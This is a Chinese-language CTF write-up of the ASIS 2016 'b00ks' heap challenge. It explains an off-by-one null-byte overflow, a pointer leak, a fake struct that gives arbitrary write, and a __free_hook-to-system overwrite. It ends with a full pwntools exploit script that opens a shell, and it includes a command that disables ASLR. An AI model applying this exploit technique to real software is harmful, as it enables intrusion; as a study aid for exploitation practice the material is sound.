<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    asis-ctf-2016 b00ks (off-by-one)

    2016 asis ctf b00ks

    考察點 off-by-one, mmap分配和libc基址偏移,
    思路是利用單字節溢出漏洞覆蓋地址最后一位讓其落在可控制區域,這樣就可以利用程序功能實現任意地址讀寫(構造合適的數據結構),最后通過__free_hook來獲取shell

    題目分析

    題目是一個常見的菜單式程序,功能是一個圖書管理系統,提供了創建、刪除、編輯、打印圖書等功能:
    asis-ctf-2016 b00ks (off-by-one)

    asis-ctf-2016 b00ks (off-by-one)

    通過分析,關鍵結構體book_struct如下

    asis-ctf-2016 b00ks (off-by-one)

    漏洞分析

    程序中用于讀取輸入的read_input()函數(函數名字已重命名)存在off-by-one漏洞,當輸入數據的長度正好為a2時,會向buf中越界寫入一個字節\x00

    signed __int64 __fastcall read_input(void *a1, int a2)
    {
      // ...
      if ( a2 > 0 )
      {
        buf = a1;
        for ( i = 0; ; ++i )
        {
          if ( (unsigned int)read(0, buf, 1uLL) != 1 )
            return 1LL;
          if ( *(_BYTE *)buf == 10 )
            break;
          buf = (char *)buf + 1;
          if ( i == a2 )
            break;
        }
        *(_BYTE *)buf = 0;
        result = 0LL;
      }
      // ...
    }

    信息泄露漏洞

    由于author_name_ptrglobal_book_struct_array之間正好相差32個字節,當輸入的author_name長度為32時,會向author_name_ptr中越界寫入一個字節\x00。之后,在創建book_struct時,會將其地址保存在global_book_struct_array中,覆蓋之前的字符串截斷符\x00。因此,通過打印author_name可以實現信息信泄露。

    off-by-one漏洞

    通過修改author_name可以向author_name_ptr中越界寫入一個字節\x00,這樣會覆蓋global_book_struct_array中保存的第一個book_struct的地址。

    漏洞利用

    主要思想如下:創建2個book,通過單字節溢出,使得book1_struct指針指向book1_description中;然后在book1_description中偽造一個book1_struct,使得其中的book1_description_ptr指向book2_description_ptr;通過先后修改book1_descriptionbook2_description,從而實現任意地址寫任意內容的功能。

    為了方便調試,臨時禁用了系統的地址隨機化功能:echo 0 > /proc/sys/kernel/randomize_va_space

    創建book

    book1的description的大小要盡量大一點(如140),保證當單字節溢出后book1_struct指針落在book1的description中,從而對其可控,為后續偽造book1_struct打下基礎。book2的description的大小越大越好(如0x21000),這樣會通過mmap()函數去分配堆空間,而該堆地址與libc的基址相關,這樣通過泄露該堆地址可以計算出libc的基址。

    global_book_strcut_array(0x555555756060)中可以看到,當發生null byte溢出時,book1_struct的指針變為0x555555758100,正好落在book1_description的范圍內。

    偽造book1_struct

    為了使得偽造的book1_description_ptr指向book2_description_ptr,需要先知道book2_struct的地址,可以通過打印author_name從而泄露得到該地址。

    之后通過修改book1_description,偽造一個book1_struct。可以看到book1_description_ptr已經指向了book2_name_ptr。(通過+8就能指向book2_description_ptr)

    空字節覆蓋

    修改author_name,覆蓋global_book_struct_array中保存的第一個book_struct 指針。之后通過打印book可以泄露得到book2_name_ptr, 從而得到該地址與libc基址之間的偏移。

    獲取shell

    通過先后修改book1_descriptionbook2_description,可以實現任意地址寫任意內容的功能。由于該程序啟用了FULL RELRO保護措施,無法對GOT進行改寫,但是可以改寫__free_hook__malloc_hook

    結合前面泄露的book2_name_ptr和計算得到的偏移,可以計算出libc的基址,進一步可得到__free_hooksystem函數運行時的地址,以及libc中字符串”/bin/sh”的地址。之后將__free_hook指向的內容修改為system的地址,在調用free函數時,由于__free_hook里面的內容不為NULL,從而執行指向的指令。

    #!/usr/bin/env python
    
    from pwn import *
    
    context(log_level='debug', os='linux')
    
    def create_book(target, name_size, book_name, desc_size, book_desc):
        target.recv()
        target.sendline('1')
        target.sendlineafter('Enter book name size: ', str(name_size))
        target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
        target.sendlineafter('Enter book description size: ', str(desc_size))
        target.sendlineafter('Enter book description: ', book_desc)
    
    def delete_book(target, book_id):
        target.recv()
        target.sendline('2')
        target.sendlineafter('Enter the book id you want to delete: ', str(book_id))
    
    def edit_book(target, book_id, book_desc):
        target.recv()
        target.sendline('3')
        target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
        target.sendlineafter('Enter new book description: ', book_desc)
    
    def print_book(target):
        target.recvuntil('>')
        target.sendline('4')
    
    def change_author_name(target, name):
        target.recv()
        target.sendline('5')
        target.sendlineafter('Enter author name: ', name)
    
    def input_author_name(target, name):
        target.sendlineafter('Enter author name: ', name)
    
    DEBUG = 0
    LOCAL = 1
    
    if LOCAL:
        target = process('./b00ks')
    else:
        target = remote('127.0.0.1', 5678)
    
    libc = ELF('./libc.so.6')
    # used for debug
    image_base = 0x555555554000
    
    if DEBUG:
        pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245))
    
    input_author_name(target, 'a'*32)
    create_book(target, 140 ,'book_1', 140, 'first book created')
    
    # leak boo1_struct addr
    print_book(target)
    target.recvuntil('a'*32)
    temp = target.recvuntil('\x0a')
    book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
    book2_struct_addr = book1_struct_addr + 0x30
    
    create_book(target, 0x21000, 'book_2', 0x21000, 'second book create')
    
    # fake book1_struct
    payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
    edit_book(target, 1, payload)
    
    change_author_name(target, 'a'*32)
    # leak book2_name ptr
    print_book(target)
    
    target.recvuntil('Name: ')
    temp = target.recvuntil('\x0a')
    book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))
    
    # find in debug: mmap_addr - libcbase
    offset =  0x7ffff7fd2010 - 0x7ffff7a0d000
    libcbase = book2_name_ptr - offset
    
    free_hook = libc.symbols['__free_hook'] + libcbase
    system = libc.symbols['system'] + libcbase
    binsh_addr = libc.search('/bin/sh').next() + libcbase
    
    payload = p64(binsh_addr) + p64(free_hook)
    edit_book(target, 1, payload)
    
    payload = p64(system)
    edit_book(target, 2, payload)
    
    delete_book(target, 2)
    target.interactive()

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类